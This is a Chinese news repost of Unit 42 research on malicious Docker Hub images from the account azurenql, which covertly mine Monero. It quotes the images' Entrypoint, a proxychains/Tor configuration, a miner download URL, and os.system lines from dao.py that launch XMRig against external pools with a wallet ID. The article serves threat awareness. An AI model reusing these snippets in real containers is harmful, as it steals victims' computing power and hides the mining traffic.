首页 > 资讯 > Docker镜像被用于门罗币挖矿
路安  

Docker镜像被用于门罗币挖矿

摘要:简介Docker容器是一种对软件进行打包处理的便捷方式,因此采用率不断增加。Unit 42研究人员发现了一个名为azurenql 的Docker Hub社区用户账号,其中含有8个仓库和6个恶意门罗币挖矿镜像。下面是账号和仓库的截图:图 1. Docker Hub上的恶意Docker镜像表1是Dock

简介

Docker容器是一种对软件进行打包处理的便捷方式,因此采用率不断增加。Unit 42研究人员发现了一个名为azurenql 的Docker Hub社区用户账号,其中含有8个仓库和6个恶意门罗币挖矿镜像。下面是账号和仓库的截图:

图 1. Docker Hub上的恶意Docker镜像

表1是Docker Hub账户的所有镜像,下载次数最多的镜像被下载了147万次。

表 1. Docker Hub账户上的镜像总结

Docker镜像结构

研究人员检查了azurenql /227_135:442 的镜像结构,该镜像是按如下步骤构造的:

1、使用Ubuntu 16.04.6 LTS作为基础镜像;

2、安装构造镜像所需的依赖库,比如gcc、make、python等;

3、安装tor来对流量进行匿名处理,配置为默认端口9050;

/etc/tor/torrc

127.0.0.1:9050

4、复制ProxyChains-NG 源并从该源构造。ProxyChains的配置为默认配置来通过本地Tor SOCKS代理连接来路由流量。

/usr/local/etc/proxychains.conf

[ProxyList]

# defaults set to "tor"

socks4 127.0.0.1 9050

5、复制挖矿软件XMRig的源,并从该源构造。

6、复制定制的python脚本dao.py并将其设置为镜像的Entrypoint。

图 2. 镜像构造顺序

脚本dao.py分析

镜像的作者包括了一个定制的Python脚本——dao.py,复制在容器内开启挖矿进程。如前所述,脚本被注册为镜像的Entrypoint,因此镜像启动后,脚本就会运行。

"Entrypoint": [

"/bin/sh",

"-c",

"python /etc/dao.py"

],

表1中的所有Docker镜像中都含有dao.py脚本或其变种。这些镜像中dao.py 脚本的差异在于使用不同的XMRig命令行调用,如表2所示。

dao.py 脚本的执行流如下所示:

1、计算系统内CPU核的数量;

2、设置hugepages 系统特征来增加哈希率;

图 3. 设置hugepages 系统特征来增加哈希率

3、安装Tor和构建依赖关系。

4、如果没有安装proxychains-ng,就从https://github.com/rofl0r/proxychains-ng.git 安装;

5、如果/usr/local/bin 中没有XMRig二进制文件(dll),就从https://github.com/nguyennhatduy2608/azures/raw/master/ 下载;

6、在/usr/local/bin and /usr/bin 中对XMRig 二进制文件进行系统链接;

7、在后台启动Tor。

8、通过代理链来启动矿工,通过本地Tor SOCKS代理来路由挖矿流量。dao.py脚本使用的不同挖矿命令如图2所示:

图 4. 使用proxychains启动挖矿的命令

脚本的执行工作流如图5所示:

图 5. dao.py脚本执行序列

表2 dao.py脚本中使用了的不同的挖矿命令

挖矿基础设施

加密货币挖矿是解决复杂的计算难题,用户可以将交易区块链接起来。恶意镜像使用受害者系统的处理能力来验证交易。镜像的作者通过在用户环境中运行恶意镜像来挖矿。第一种方法中,攻击者使用钱包ID直接提交挖到的区块到中心minexmr 矿池。

os.system ('xmrig --av=7 --variant 1 --donate-level=0 -o

stratum+tcp://pool.minexmr.com:4444 -u

43ZBkWEBNvSYQDsEMMCktSFHrQZTDwwyZfPp43FQknuy4UD3qhozWMtM4kKRyrr2

Nk66JEiTypfvPbkFd5fGXbA1LxwhFZf+20001')

图 6是钱包地址2020年4月-5月之间的挖矿活动。

图 6. 钱包 ID活动

图 7表明该钱包ID已经挖到了525.38XMR(门罗币),约合3.6万美元。

图 7. 钱包 ID挖到的门罗币

第二种方法中,攻击者在运行挖矿池的托管服务中部署了实例用来收集挖到的区块。

表2中的Crypto Command 列给出了该方法的示例:

os.system ('proxychains4 ' + program + ' --donate-level 1 -o

stratum+tcp://66.42.93.164:442 --tls -t ' + str(cores))

参考及来源:https://unit42.paloaltonetworks.com/cryptojacking-docker-images-for-mining-monero/

特别声明:以上内容(如有图片或视频亦包括在内)为自媒体平台“网易号”用户上传并发布,本平台仅提供信息存储服务。

Notice: The content above (including the pictures and videos if any) is uploaded and posted by a user of NetEase Hao, which is a social media platform and only provides information storage services.

来源:

Tags:
免责声明
世链财经作为开放的信息发布平台,所有资讯仅代表作者个人观点,与世链财经无关。如文章、图片、音频或视频出现侵权、违规及其他不当言论,请提供相关材料,发送到:2785592653@qq.com。
风险提示:本站所提供的资讯不代表任何投资暗示。投资有风险,入市须谨慎。
世链粉丝群:提供最新热点新闻,空投糖果、红包等福利,微信:juu3644。